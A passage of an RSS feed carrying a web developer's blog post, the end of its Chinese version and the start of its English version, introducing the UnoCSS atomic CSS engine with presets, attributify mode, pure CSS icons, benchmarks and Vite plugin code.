&lt;p&gt;你可以参考 &lt;a href=&quot;https://github.com/antfu/unocss#custom-variants&quot;&gt;文档&lt;/a&gt; 了解更多细节。&lt;/p&gt;
&lt;h3&gt;预设&lt;/h3&gt;
&lt;p&gt;你可以将自己的自定义规则和可变修饰打包成预设，与他人分享，或是使用 UnoCSS 作为引擎创建你自己的原子化 CSS 框架！&lt;/p&gt;
&lt;p&gt;同时，我们在发布时也提供了 &lt;a href=&quot;https://github.com/antfu/unocss#presets&quot;&gt;一些预设&lt;/a&gt; 供你快速上手。&lt;/p&gt;
&lt;p&gt;值得一提的是，默认的 &lt;a href=&quot;https://github.com/antfu/unocss/tree/main/packages/preset-uno&quot;&gt;&lt;code&gt;@unocss/preset-uno&lt;/code&gt;&lt;/a&gt; 预设（&lt;strong&gt;实验阶段&lt;/strong&gt;）是一系列流行的原子化框架的 &lt;strong&gt;通用超集&lt;/strong&gt;，包括了 Tailwind CSS，Windi CSS，Bootstrap，Tachyons 等。&lt;/p&gt;
&lt;p&gt;例如，&lt;code&gt;ml-3&lt;/code&gt;（Tailwind），&lt;code&gt;ms-2&lt;/code&gt;（Bootstrap），&lt;code&gt;ma4&lt;/code&gt;（Tachyons），&lt;code&gt;mt-10px&lt;/code&gt;（Windi CSS）均会生效。&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.ma4 { margin: 1rem; }
.ml-3 { margin-left: 0.75rem; }
.ms-2 { margin-inline-start: 0.5rem; }
.mt-10px { margin-top: 10px; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/antfu/unocss/tree/main/packages/preset-uno&quot;&gt;了解更多关于默认预设的信息&lt;/a&gt;。&lt;/p&gt;
&lt;h3&gt;灵活性&lt;/h3&gt;
&lt;p&gt;截止目前为止，我们都在向你展示如何使用 UnoCSS 来模仿 Tailwind 和其他原子化框架的行为，即便 UnoCSS 让这件事变得十分容易，但仅此一点可能也不会在最终使用者的方面产生太大影响。&lt;/p&gt;
&lt;p&gt;一起来见识下 UnoCSS 真正的威力：&lt;/p&gt;
&lt;h6&gt;属性化模式&lt;/h6&gt;
&lt;p&gt;&lt;a href=&quot;https://windicss.org/posts/v30.html#attributify-mode&quot;&gt;属性化模式 (Attributify Mode)&lt;/a&gt; 是 Windi CSS 最受欢迎的特性之一。它能帮助你通过使用属性更好地组织和分组你的实用工具类。&lt;/p&gt;
&lt;p&gt;它会把你的冗长的 Tailwind 代码（难以阅读与编辑）：&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button class=&quot;bg-blue-400 hover:bg-blue-500 text-sm text-white font-mono font-light py-2 px-4 rounded border-2 border-blue-200 dark:bg-blue-500 dark:hover:bg-blue-600&quot;&amp;gt;
  Button
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;变成：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;button
  bg=&quot;blue-400 hover:blue-500 dark:blue-500 dark:hover:blue-600&quot;
  text=&quot;sm white&quot;
  font=&quot;mono light&quot;
  p=&quot;y-2 x-4&quot;
  border=&quot;2 rounded blue-200&quot;
&amp;gt;
  Button
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;在更好的按类型进行组织的同时，也节省了重复输入相同前缀的时间。&lt;/p&gt;
&lt;p&gt;在 UnoCSS 中，我们也实现了属性化模式，只使用 &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-attributify/src/variant.ts&quot;&gt;&lt;strong&gt;一个可变修饰&lt;/strong&gt;&lt;/a&gt; 和 &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-attributify/src/extractor.ts&quot;&gt;&lt;strong&gt;一个提取器&lt;/strong&gt;&lt;/a&gt;，总共 &lt;strong&gt;代码行数不超过 100&lt;/strong&gt;！更重要的是，它直接适用于你自定义的任何规则！&lt;/p&gt;
&lt;p&gt;除了 Windi CSS 的属性化模式，仅需改动几行代码，我们还实现了无值的属性的支持：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div class=&quot;m-2 rounded text-teal-400&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;现在变为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;div m-2 rounded text-teal-400 /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;整个属性化模式是通过 &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-attributify&quot;&gt;&lt;code&gt;@unocss/preset-attributify&lt;/code&gt;&lt;/a&gt; 预设提供的，详细的使用方法请参考其文档。&lt;/p&gt;
&lt;h6&gt;纯 CSS 图标&lt;/h6&gt;
&lt;p&gt;如果你读过我之前的文章 &lt;a href=&quot;/posts/journey-with-icons-continues&quot;&gt;Journey with Icons Continues&lt;/a&gt;，你一定知道我对图标非常热衷，并且在积极研究图标的各种解决方案。这次，凭借 UnoCSS 的灵活性，我们甚至可以拥有纯 CSS 的图标。你没看错，&lt;strong&gt;它是纯 CSS 的图标，不需要任何 JavaScript&lt;/strong&gt;！让我们来看看它长什么样子：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{/* A basic anchor icon from Phosphor icons */}
&amp;lt;div class=&quot;i-ph-anchor-simple-thin&quot; /&amp;gt;
{/* An orange alarm from Material Design Icons */}
&amp;lt;div class=&quot;i-mdi-alarm text-orange-400 hover:text-teal-400&quot; /&amp;gt;
{/* A large Vue logo */}
&amp;lt;div class=&quot;i-logos-vue text-3xl&quot; /&amp;gt;
{/* Sun in light mode, Moon in dark mode, from Carbon */}
&amp;lt;button class=&quot;i-carbon-sun dark:i-carbon-moon&quot; /&amp;gt;
{/* Twemoji of laugh, turns to tear on hovering */}
&amp;lt;div class=&quot;i-twemoji-grinning-face-with-smiling-eyes hover:i-twemoji-face-with-tears-of-joy&quot; /&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&amp;lt;IconDemoDarkToggle client:visible /&amp;gt;&lt;/p&gt;
&lt;p&gt;与可变修饰结合，你甚至可以根据悬停状态或颜色模式来切换图标。得益于 &lt;a href=&quot;https://iconify.design/&quot;&gt;Iconify&lt;/a&gt; 项目，你可以从一百余个热门图标集合（Material Design Icons， Ant Design Icons 等等）中获得 &lt;strong&gt;超过一万个图标&lt;/strong&gt; 供你按需使用。&lt;/p&gt;
&lt;p&gt;同样的，这个功能的实现代码并未超过 100 行。具体请参考 &lt;a href=&quot;https://github.com/antfu/unocss/blob/main/packages/preset-icons&quot;&gt;&lt;code&gt;@unocss/preset-icons&lt;/code&gt;&lt;/a&gt; 预设的实现了解其中的魔法。&lt;/p&gt;
&lt;p&gt;希望这些预设可以让你对 UnoCSS 的灵活性有一个大致的了解。它还处于一个非常早期的阶段，有很多可能性等待我们去探索。&lt;/p&gt;
&lt;h3&gt;CSS 作用域&lt;/h3&gt;
&lt;p&gt;在使用 Tailwind / Windi 时，我遇到的另一个问题就是 &lt;a href=&quot;https://tailwindcss.com/docs/preflight&quot;&gt;样式预检 (Preflight)&lt;/a&gt;。预检功能重置了原生元素，并为 CSS 变量提供了一些兜底方案，在开发一个只使用 Tailwind/Windi 的新应用时，效果很棒。但当你想让它们与其他 UI 框架一起工作，或者使用 Tailwind 编写一些共享组件时，预检往往会引入许多冲突，破坏你现有的 UI。&lt;/p&gt;
&lt;p&gt;因此，UnoCSS 采取了另一个霸气的操作，&lt;strong&gt;不支持预检&lt;/strong&gt;。相反，它将 CSS 重置的控制权完全留给了用户 (或 UnoCSS 上层框架)，让他们使用适合自己的方案 - Normalize.css，Reset.css 或者 UI 框架自带的CSS 重置等。&lt;/p&gt;
&lt;p&gt;这也使得 UnoCSS 在 CSS 作用域上有了更多可能性。例如，我们在 Vite 插件上有一个实验性的 &lt;code&gt;scoped-vue&lt;/code&gt; 模式，可以为每个组件生成作用域样式，你可以安全地使用原子化 CSS 作为组件库，而无需担心与用户的 CSS 发生冲突。比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;template&amp;gt;
  &amp;lt;div class=&quot;m-2 rounded&quot;&amp;gt;
    &amp;lt;slot /&amp;gt;
  &amp;lt;/div&amp;gt;
&amp;lt;/template&amp;gt;

{/* 以下内容将被注入 bundler 中 */}
&amp;lt;style scoped&amp;gt;
.m-2 {
  margin: 0.5rem;
}
.rounded {
  border-radius: 0.25rem;
}
&amp;lt;/style&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;我们还在尝试更多的可能性，比如支持 Web Component，MPA 情况下的 CSS 代码分割，以及模块级别的 CSS 作用域等。&lt;/p&gt;
&lt;h2&gt;性能&lt;/h2&gt;
&lt;p&gt;考虑到 UnoCSS 带来的灵活性和想象力，坦率地说，我认为性能可能不是那么重要的事情。出于好奇，我写了一个 &lt;a href=&quot;https://github.com/antfu/unocss/tree/main/bench&quot;&gt;简单的 benchmark&lt;/a&gt; 来比较性能。结果令人惊讶：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;10/21/2021, 2:17:45 PM
1656 utilities | x50 runs

none                            8.75 ms /    0.00 ms
unocss       v0.0.0            13.72 ms /    4.97 ms (x1.00)
windicss     v3.1.9           980.41 ms /  971.66 ms (x195.36)
tailwindcss  v3.0.0-alpha.1  1258.54 ms / 1249.79 ms (x251.28)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;从结果来看，UnoCSS 可以比 &lt;strong&gt;Tailwind 的 JIT 引擎快 200 倍&lt;/strong&gt;！说实话，在按需生成的情况下，Windi 和 Tailwind JIT 都已经算是超快了，UnoCSS 的性能提升感知度可能没有那么高。然而，几乎为零的开销意味着你可以将 UnoCSS 整合到你现有的项目中，作为一个增量解决方案与其他框架一同协作，而不需要担心性能损耗。&lt;/p&gt;
&lt;p&gt;在开发时，UnoCSS 做了很多性能上的优化。如果你感兴趣，可以参考：&lt;/p&gt;
&lt;h3&gt;跳过解析，不使用 AST&lt;/h3&gt;
&lt;p&gt;从内部实现上看，Tailwind 依赖于 PostCSS 的 AST 进行修改，而 Windi 则是编写了一个自定义解析器和 AST。考虑到在开发过程中，这些工具 CSS 的并不经常变化，UnoCSS 通过非常高效的字符串拼接来直接生成对应的 CSS 而非引入整个编译过程。同时，UnoCSS 对类名和生成的 CSS 字符串进行了缓存，当再次遇到相同的实用工具类时，它可以绕过整个匹配和生成的过程。&lt;/p&gt;
&lt;h3&gt;单次迭代&lt;/h3&gt;
&lt;p&gt;正如前文所述，Windi CSS 和 Tailwind JIT 都依赖于对文件系统的预扫描，并使用文件系统监听器来实现 HMR。文件 I/O 不可避免地会引入开销，而你的构建工具实际上需要再次加载它们。那么我们为什么不直接利用已经被工具读取过的内容呢？&lt;/p&gt;
&lt;p&gt;除了独立的生成器核心以外，UnoCSS 有意只提供了 Vite 插件（以后可能考虑其他的集成），这使得它能够专注于与 Vite 的最佳集成。&lt;/p&gt;
&lt;p&gt;在 Vite 中，&lt;code&gt;transform&lt;/code&gt; 的钩子将与所有的文件及其内容一起被迭代。因此，我们可以写一个插件来收集它们，比如：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;
  plugins: [
    {
      name: &apos;unocss&apos;,
      transform(code, id) {
        // 过滤掉无需扫描的文件
        if (!filter(id))
          return

        // 扫描代码（同时也可以处理开发中的无效内容）
        scan(code, id)

        // 我们只需要内容，所以不需要对代码进行转换
        return null
      },
      resolveId(id) {
        return id === VIRTUAL_CSS_ID ? id : null
      },
      async load(id) {
        // 生成的 css 会作为一个虚拟模块供后续使用
        if (id === VIRTUAL_CSS_ID)
          return { code: await generate() }
      }
    }
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;由于 Vite 也会处理 HMR，并在文件变化时再次执行 &lt;code&gt;transform&lt;/code&gt; 钩子，这使得 UnoCSS 可以在一次加载中就完成所有的工作，没有重复的文件 I/O 和文件系统监听器。此外，通过这种方式，扫描会依赖于模块图而非文件 glob。这意味着只有构建在你应用程序中的模块才会影响生成的 CSS，而并非你文件夹下的任何文件。&lt;/p&gt;
&lt;p&gt;我们还做了一些小技巧来提高性能。我可能会在以后再写一篇关于它们的文章，但在此之前，你可以通过阅读代码来弄清它们 :)&lt;/p&gt;
&lt;h2&gt;现在能用吗？&lt;/h2&gt;
&lt;p&gt;简而言之：可以，但有注意事项。&lt;/p&gt;
&lt;p&gt;UnoCSS 仍处于实验阶段，但由于其精简的设计，生成的结果已经非常可靠了。需要注意的一点是，API 还没有最终定案，虽然我们会遵循 semver 的进行版本发布，但是还请为破坏性改动做好准备。&lt;/p&gt;
&lt;p&gt;注意：它并非被设计成 Windi CSS 或 Tailwind 的替代品（考虑等待 Windi CSS v4）。我们不建议将现有项目完全迁移到 UnoCSS。你可以在新的项目中试用它，或者将它作为你现有 CSS 框架的补充（例如，禁用默认预设，只使用纯 CSS 图标的预设，或者自定义你的规则）。&lt;/p&gt;
&lt;p&gt;顺便说一句，目前 &lt;a href=&quot;https://github.com/antfu/antfu.me&quot;&gt;你正在阅读的网站&lt;/a&gt; 就构建于 UnoCSS 之上，供你参考 :P。&lt;/p&gt;
&lt;p&gt;同时，欢迎分享你正在制作的预设或帮助我们贡献默认的预设。期待看到你能够蹦出什么新想法！&lt;/p&gt;
&lt;h2&gt;结束语&lt;/h2&gt;
&lt;p&gt;非常感谢你的阅读！如果你对它感兴趣，请记得查看 &lt;a href=&quot;https://github.com/unocss/unocss&quot;&gt;&lt;code&gt;unocss/unocss&lt;/code&gt;&lt;/a&gt; 仓库以了解更多细节，也可以通过 &lt;a href=&quot;https://unocss.antfu.me/&quot;&gt;&lt;strong&gt;在线 Playground&lt;/strong&gt;&lt;/a&gt; 进行尝试。&lt;/p&gt;
&lt;p&gt;欢迎评论或转发 &lt;a href=&quot;https://twitter.com/antfu7/status/1452802545118711812&quot;&gt;此推文&lt;/a&gt;，让我知道你的想法！🙌&lt;/p&gt;
</content:encoded></item><item><title>Reimagine Atomic CSS</title><link>https://rayepeng.net/posts/reimagine-atomic-css/</link><guid isPermaLink="true">https://rayepeng.net/posts/reimagine-atomic-css/</guid><description>Let&apos;s take a step back and reimagine what&apos;s atomic CSS could be in the best.</description><pubDate>Tue, 26 Oct 2021 16:00:00 GMT</pubDate><content:encoded>&lt;p&gt;[[toc]]&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;This post will be a bit longer than usual. It&apos;s quite a big announcement to me, and there are many things I want to talk about. I&apos;ll be appreciated if you take the time to read through it. The table of contents is hidden on the left if you are on a desktop. Hope you enjoy :)&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;/posts/reimagine-atomic-css-zh&quot;&gt;中文 Chinese Version&lt;/a&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;What is Atomic CSS?&lt;/h2&gt;
&lt;p&gt;Let&apos;s first give a proper definition to &lt;strong&gt;Atomic CSS&lt;/strong&gt;:&lt;/p&gt;
&lt;p&gt;From &lt;a href=&quot;https://css-tricks.com/lets-define-exactly-atomic-css/&quot;&gt;this article&lt;/a&gt; by John Polacek:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Atomic CSS is the approach to CSS architecture that favors small, single-purpose classes with names based on visual function.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Some might also call it Functional CSS, or CSS utilities. Basically, you can say an Atomic CSS framework is a collection of the CSS like these:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-0 {
  margin: 0;
}
.text-red {
  color: red;
}
/* ... */
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We have quite a few utilities-first CSS framework like &lt;a href=&quot;https://tailwindcss.com/&quot;&gt;Tailwind CSS&lt;/a&gt;, &lt;a href=&quot;https://windicss.org/&quot;&gt;Windi CSS&lt;/a&gt; and &lt;a href=&quot;https://tachyons.io/&quot;&gt;Tachyons&lt;/a&gt;, etc. And there are also some UI libraries that come with some CSS utilities as the complement to the framework, for example &lt;a href=&quot;https://getbootstrap.com/docs/5.1/utilities/api/&quot;&gt;Bootstrap&lt;/a&gt; and &lt;a href=&quot;https://chakra-ui.com/docs/features/style-props&quot;&gt;Chakra UI&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;We are not going to talk about the pros and cons of using atomic CSS here, as you might hear them many times already. Today, we are going to use a framework author&apos;s perspective to see how we make the trade-off building those frameworks you love, their limitations, what we can do better to eventually benefits your daily work.&lt;/p&gt;
&lt;h2&gt;The Background&lt;/h2&gt;
&lt;p&gt;Before we start, let&apos;s talk a bit about the background. If you don&apos;t know me, my name is Anthony Fu, and I am a &lt;a href=&quot;https://vitejs.dev/&quot;&gt;Vite&lt;/a&gt; team member and the creator of &lt;a href=&quot;https://github.com/antfu/vitesse&quot;&gt;Vitesse&lt;/a&gt;, one of the most popular starter templates for Vite. I enjoy the speedy development experience of atomic CSS (or CSS utilities), so I chose to use &lt;a href=&quot;https://tailwindcss.com/&quot;&gt;Tailwind CSS&lt;/a&gt; as the default UI framework for Vitesse. While Vite should be incredibly fast compared to Webpack and others, Tailwind, which generates megabytes of utility CSS, makes the start-up and HMR on Vite slow as the old days. I once thought this was some kind of trade-off for using atomic CSS solutions - until I discovered &lt;a href=&quot;https://windicss.org&quot;&gt;Windi CSS&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/images/discover-windicss.png&quot; class=&quot;transform scale-110 py-2&quot;/&amp;gt;&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://windicss.org&quot;&gt;Windi CSS&lt;/a&gt; was a Tailwind CSS alternative that was written from scratch. It has zero dependencies and does not rely on PostCSS and Autoprefixer. More importantly, it features &lt;strong&gt;on-demanded usage&lt;/strong&gt;. Instead of generating all the combinations of utilities that you rarely used to purge later, Windi CSS only generates those actually presented in your codebase. This fits perfectly well with Vite&apos;s on-demanded philosophy, and theoretically, it should be way much faster than Tailwind. So I wrote &lt;a href=&quot;https://github.com/windicss/vite-plugin-windicss&quot;&gt;the Vite plugin&lt;/a&gt; for it, and it turned out to be &lt;a href=&quot;https://twitter.com/antfu7/status/1361398324587163648&quot;&gt;20~100x faster&lt;/a&gt; than Tailwind.&lt;/p&gt;
&lt;p&gt;It went pretty well, Windi CSS grown into a team, we made many more innovations like &lt;a href=&quot;https://windicss.org/features/value-auto-infer.html&quot;&gt;Value Infering&lt;/a&gt;, &lt;a href=&quot;https://windicss.org/features/variant-groups.html&quot;&gt;Variant Groups&lt;/a&gt;, &lt;a href=&quot;https://windicss.org/features/shortcuts.html&quot;&gt;Shortcuts&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/antfu7/status/1372244287975387145&quot;&gt;Design in DevTools&lt;/a&gt;, &lt;a href=&quot;https://twitter.com/windi_css/status/1387460661135896577&quot;&gt;Attributify Mode&lt;/a&gt;, etc. As the result, Tailwind was &lt;a href=&quot;https://twitter.com/adamwathan/status/1371542711086559237?s=20&quot;&gt;ass kicked&lt;/a&gt; to introduce their own on-demand &lt;a href=&quot;https://tailwindcss.com/docs/just-in-time-mode&quot;&gt;JIT engine&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Breakdown Atomic CSS&lt;/h2&gt;
&lt;p&gt;Back to the topic, let&apos;s take a look at how atomic CSS works first.&lt;/p&gt;
&lt;h3&gt;Traditional Way&lt;/h3&gt;
&lt;p&gt;The traditional way of making Atomic CSS is to provide all the CSS utilities you might possibly want, for example, here is something you could generate your own with a preprocessor (SCSS in this case):&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// style.scss

@for $i from 1 through 10 {
  .m-#{$i} {
    margin: $i / 4 rem;
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;It will be compiled to:&lt;/p&gt;
&lt;p&gt;{/* eslint-skip */}&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.m-1 { margin: 0.25 rem; }
.m-2 { margin: 0.5 rem; }
/* ... */
.m-10 { margin: 2.5 rem; }
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Great, now you can use &lt;code&gt;class=&quot;m-1&quot;&lt;/code&gt; to set the margin. But as you might see, with this approach, you can&apos;t set the margin outside of 1 to 10, and also, you need to pay the cost of shipping 10 CSS rules even if you have only used one. Later if you want to support different margin directions like &lt;code&gt;mt&lt;/code&gt; for &lt;code&gt;margin-top&lt;/code&gt;, &lt;code&gt;mb&lt;/code&gt; for &lt;code&gt;margin-bottom&lt;/code&gt;. With those 4 directions, you are multiplying your CSS size by 5. Then when it comes to variants like &lt;code&gt;hover:&lt;/code&gt; and &lt;code&gt;focus:&lt;/code&gt; - you know the story. At that point, adding one more utility often means you are going to introduce a few extra kilobytes. Thus, this is also why the traditional Tailwind ships megabytes of CSS.&lt;/p&gt;
&lt;p&gt;To solve this, Tailwind came up with the solution by using &lt;a href=&quot;https://purgecss.com/&quot;&gt;PurgeCSS&lt;/a&gt; to scan your dist bundle and remove the rules you don&apos;t need. Now you have only a few KBs of CSS in production. However, note that the purging would only work in the production build, meaning you are still working with the tremendous CSS in development. It wasn&apos;t that prominent in Webpack, but it becomes a pain in Vite, given the rest are now coming blazing fast.&lt;/p&gt;
&lt;p&gt;While generating and purging approach have its limitations, could we have a better solution?&lt;/p&gt;
&lt;h3&gt;On-demand Way&lt;/h3&gt;
&lt;p&gt;The &quot;on-demand&quot; idea introduces a brand new way of thinking. Let&apos;s make a comparison of the approaches here.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/images/unocss-traditional-way.png&quot; class=&quot;filter dark:invert&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;The traditional way not only costs you unnecessary computation (generated but not in use) but is also unable to satisfy your needs that are not included in the first place.&lt;/p&gt;
&lt;p&gt;&amp;lt;img src=&quot;/images/unocss-on-demand-way.png&quot; class=&quot;filter dark:invert&quot; /&amp;gt;&lt;/p&gt;
&lt;p&gt;By flipping the order of &quot;generating&quot; and &quot;usage scanning&quot;, the &quot;on-demand&quot; approach saves you the wasted computational and transferring cost, while being flexible to provide the dynamic needs that pre-generating can&apos;t possibly be covered. Meanwhile, this approach could be used in both development and production, provide more confidence about the consistency and make HMR more efficient.&lt;/p&gt;
&lt;p&gt;To achieve this, both Windi CSS and Tailwind JIT take the approach of pre-scanning your source code. Here is a simple example of that:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


// this usually comes from user config
const include = [&apos;src/**/*.{jsx,tsx,vue,html}&apos;]

async function scan() {
  const files = await glob(include)

  for (const file of files) {
    const content = await fs.readFile(file, &apos;utf8&apos;)
    // pass the content to the generator and match for class usages
  }
}

await scan()
// scanning is done before the build / dev process
await buildOrStartDevServer()
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To provide HMR during development, a &lt;a href=&quot;https://github.com/paulmillr/chokidar&quot;&gt;file watcher&lt;/a&gt; is usually needed:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;

chokidar.watch(include).on(&apos;change&apos;, (event, path) =&amp;gt; {
  // read the file again
  const content = await fs.readFile(file, &apos;utf8&apos;)
  // pass the content to the generator again
  // invalidate the css module and send HMR event
})
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;As a result, with the on-demand approach, Windi CSS is able to provide about &lt;a href=&quot;https://twitter.com/antfu7/status/1361398324587163648&quot;&gt;100x faster performance&lt;/a&gt; than the traditional Tailwind CSS.&lt;/p&gt;
&lt;h2&gt;The Itches&lt;/h2&gt;
&lt;p&gt;I am now using Windi CSS on almost all my apps, and it works pretty well. The performance is sweet, and the HMR is unnoticeable. &lt;a href=&quot;https://windicss.org/features/value-auto-infer.html&quot;&gt;Value Auto Infering&lt;/a&gt; and &lt;a href=&quot;https://twitter.com/windi_css/status/1387460661135896577&quot;&gt;Attributify Mode&lt;/a&gt; makes my development even faster. I could really take a good sleep and dream about other things then. However, it sometimes itches me from my sweet dream.&lt;/p&gt;
&lt;p&gt;The one I found annoying is the unclearness of what I am getting and what to do to make it work. To me, the best ideally atomic CSS should be invisible. Once learned, it should be intuitive and analogous to know the others. It&apos;s invisible when it works as you expect and could become frustrating when it doesn&apos;t.&lt;/p&gt;
&lt;p&gt;For example, you know that in Tailwind&apos;s &lt;code&gt;border-2&lt;/code&gt; means &lt;code&gt;2px&lt;/code&gt; of border width, &lt;code&gt;4&lt;/code&gt; for &lt;code&gt;4px&lt;/code&gt;, &lt;code&gt;6&lt;/code&gt; for &lt;code&gt;6px&lt;/code&gt;, &lt;code&gt;8&lt;/code&gt; for &lt;code&gt;8px&lt;/code&gt;, but guess what, &lt;code&gt;border-10&lt;/code&gt; &lt;strong&gt;does NOT work&lt;/strong&gt; (it could also take your time to figure it out!). You might say this is designed on purpose by Tailwind to make the design system consistent and limited. Ok fine, but here is a quick quiz, &lt;strong&gt;let&apos;s say if you want &lt;code&gt;border-10&lt;/code&gt; to work, how would you do that?&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;Write your own utility somewhere in your global styles?&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.border-10 {
  border-width: 10px;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That&apos;s pretty fast and straightforward. And importantly, it works. But honestly, if I need to do this manually myself, why would I need Tailwind in the first place?&lt;/p&gt;
&lt;p&gt;If you know Tailwind a bit more, you might know it can be configured. So you spend 5 minutes searching for their docs, here is what you &lt;a href=&quot;https://tailwindcss.com/docs/border-width#border-widths&quot;&gt;end up with&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// tailwind.config.js
module.exports = {
  theme: {
    borderWidth: {
      DEFAULT: &apos;1px&apos;,
      0: &apos;0&apos;,
      2: &apos;2px&apos;,
      3: &apos;3px&apos;,
      4: &apos;4px&apos;,
      6: &apos;6px&apos;,
      8: &apos;8px&apos;,
      10: &apos;10px&apos; // &amp;lt;-- here
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ah, fair enough, now we could list them all and get back to work... wait, where was I? The original task you are working on gets lost, and it takes time to get back to the context again. Later on, if we want to set border colors, we&apos;d need to look up the docs again to see how it could be configured and so on. Maybe someone would enjoy this workflow, but it&apos;s not for me. I don&apos;t enjoy being interrupted by something that should intuitively work.&lt;/p&gt;
&lt;p&gt;Windi CSS is more relaxed to the rules and will try to provide the corresponding utilities whenever possible. In the previous case, &lt;code&gt;border-10&lt;/code&gt; will work out-of-box on Windi (thank you!). But due to the fact that Windi is compatible with Tailwind, it also has to use the exact same configuration interface as Tailwind. While the number inferring works in Windi, it would still be a nightmare if you want to add custom utilities. Here is an example from &lt;a href=&quot;https://tailwindcss.com/docs/plugins#escaping-class-names&quot;&gt;Tailwind&apos;s docs&lt;/a&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// tailwind.config.js
const _ = require(&apos;lodash&apos;)
const plugin = require(&apos;tailwindcss/plugin&apos;)

module.exports = {
  theme: {
    rotate: {
      &apos;1/4&apos;: &apos;90deg&apos;,
      &apos;1/2&apos;: &apos;180deg&apos;,
      &apos;3/4&apos;: &apos;270deg&apos;,
    }
  },
  plugins: [
    plugin(({ addUtilities, theme, e }) =&amp;gt; {
      const rotateUtilities = _.map(theme(&apos;rotate&apos;), (value, key) =&amp;gt; {
        return {
          [`.${e(`rotate-${key}`)}`]: {
            transform: `rotate(${value})`
          }
        }
      })

      addUtilities(rotateUtilities)
    })
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That alone is to generate these:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;.rotate-1\/4 {
  transform: rotate(90deg);
}
.rotate-1\/2 {
  transform: rotate(180deg);
}
.rotate-3\/4 {
  transform: rotate(270deg);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The code to generate the CSS is even longer than the outcome. It could be hard to read and maintain, and meanwhile, it breaks the on-demand ability.&lt;/p&gt;
&lt;p&gt;Tailwind&apos;s API and plugin system is designed with the traditional mindset and does not really match the new on-demand approach. Core utilities are baked in the generator, and the customization is quite limited. So, I started wondering if we could abandon those debts and redesign it ground-up with the on-demand approach in mind, what would we get?&lt;/p&gt;
&lt;h2&gt;Introducing UnoCSS&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/antfu/unocss&quot;&gt;&lt;strong&gt;UnoCSS&lt;/strong&gt;&lt;/a&gt; - the instant atomic CSS engine with maximum performance and flexibility.&lt;/p&gt;
&lt;p&gt;It started with some random experiments during my national holiday. With the mind of on-demand and the flexibility that I would expect as a user, the experiments turned out to be very good to me in many ways.&lt;/p&gt;
&lt;h3&gt;The Engine&lt;/h3&gt;
&lt;p&gt;UnoCSS is an &lt;strong&gt;engine&lt;/strong&gt; instead of a &lt;strong&gt;framework&lt;/strong&gt; because there are &lt;strong&gt;no core utilities&lt;/strong&gt; - all the functionalities are provided via presets or inline configurations.&lt;/p&gt;
&lt;p&gt;We are imagining UnoCSS being able to simulate the functionalities of most of the existing atomic CSS frameworks. And possibly have been used as the engine to create some new atomic CSS frameworks! For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;


// the following presets do not exist at this moment,
// contribution welcome!






  plugins: [
    UnocssPlugin({
      presets: [
        // PresetTachyons,
        PresetBootstrap,
        // PresetTailwind,
        // PresetWindi,
        // PresetAntfu

        // pick one... or multiple!
      ]
    })
  ]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Let&apos;s take a look at how it made them possible:&lt;/p&gt;
&lt;h3&gt;Intuitive &amp;amp; Fully Customizable&lt;/h3&gt;
